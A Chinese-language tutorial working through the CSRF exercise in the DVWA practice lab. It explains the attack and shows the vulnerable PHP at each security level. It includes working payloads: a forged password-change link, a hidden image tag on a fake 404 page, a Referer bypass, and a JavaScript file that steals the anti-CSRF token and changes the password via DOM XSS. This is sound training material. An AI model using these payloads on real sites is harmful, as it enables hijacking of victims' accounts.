CSRF(跨站请求伪造)简介
概念
CSRF(Cross—site request forgery),跨站请求伪造,是指利用受害者未失效的身份认证信息(cookie,会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下,以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账,改密等)。
CSRF与XSS的区别
-
CSRF属于业务逻辑漏洞,在服务器看来,所有的请求都是合法正常的;
-
XSS,SQL注入等等都是属于技术漏洞;
-
XSS:客户信任服务器;
-
CSRF:服务器信任客户(经过身份认证的);
CSRF攻击成功的前提
-
用户必须登录;
-
黑客必须懂得一些发包的请求;
-
服务器端不会有二次认证;
-
被害者是不知情的;
危害
-
修改用户信息,如用户头像、发货地址等
-
个人隐私泄露,机密资料泄露
-
执行恶意操作,如修改密码,购买商品,转账等(盗用受害者身份,受害者能做什么攻击者就能以受害者身份)
安全级别:Low
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
mysqli_real_escape_string()过滤掉sql语句中的特殊字符串
通过修改密码,可以看到用的是get方式传参(在源码中也可以看出来)
服务器收到修改密码的请求后,会检查参数pass_new与pass_conf是否相同,如果相同,则会更新数据库,修改密码,并没有任何的防CSRF机制(用户已经登录服务器)。
方式一:构造修改密码的链接
DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
方式二:构造攻击页面
这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击,我们在本地写一个1.html,然后是受害者去点击;
<img src="http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" border="0" style="display:none;"/>
<h1>404</h1>
<h2>file not found</h2>
安全级别:Medium
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
stripos(string,find,start)
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
参数描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。Medium级别的代码使用HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,即要求本地登录),希望通过这种机制抵御CSRF攻击。
过滤规则是http包头的Referer参数的值中必须包含主机名(127.0.0.1);
通过抓包将主机名放在http包头的Referer参数
安全级别:High
<?php
$change = false;
$request_type = "html";
$return_message = "Request Failed";
if ($_SERVER['CONTENT_TYPE'] == "application/json") {
$data = json_decode(file_get_contents('php://input'), true);
$request_type = "json";
if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
array_key_exists("password_new", $data) &&
array_key_exists("password_conf", $data) &&
array_key_exists("Change", $data)) {
$token = $_SERVER['HTTP_USER_TOKEN'];
$pass_new = $data["password_new"];
$pass_conf = $data["password_conf"];
$change = true;
}
} else {
if (array_key_exists("user_token", $_REQUEST) &&
array_key_exists("password_new", $_REQUEST) &&
array_key_exists("password_conf", $_REQUEST) &&
array_key_exists("Change", $_REQUEST)) {
$token = $_REQUEST["user_token"];
$pass_new = $_REQUEST["password_new"];
$pass_conf = $_REQUEST["password_conf"];
$change = true;
}
}
if ($change) {
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
// Feedback for the user
$return_message = "Password Changed.";
}
else {
// Issue with passwords matching
$return_message = "Passwords did not match.";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
if ($request_type == "json") {
generateSessionToken();
header ("Content-Type: application/json");
print json_encode (array("Message" =>$return_message));
exit;
} else {
echo "<pre>" . $return_message . "</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
构造csrf.js
// 首先访问这个页面 来获取 token
var tokenUrl = 'http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
// 使用正则提取 token
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
// 发起 CSRF 请求 将 token 带入
var new_url = 'http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/csrf/?user_token='+token+'&password_new=123&password_conf=123&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();
然后将这个csrf.js上传到靶场目录
再通过DVWA DOM XSS的high级别发起XSS测试:
?default=English&a=
这里通过script标签的src来引入外部js,访问之后密码就被更改为123了
安全级别:Impossible
// 依然检验用户的 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 需要输入当前的密码
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// 检验当前密码是否正确
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
增加了输入当前密码的选项,攻击者不知道原始密码下是无法发起CSRF攻击的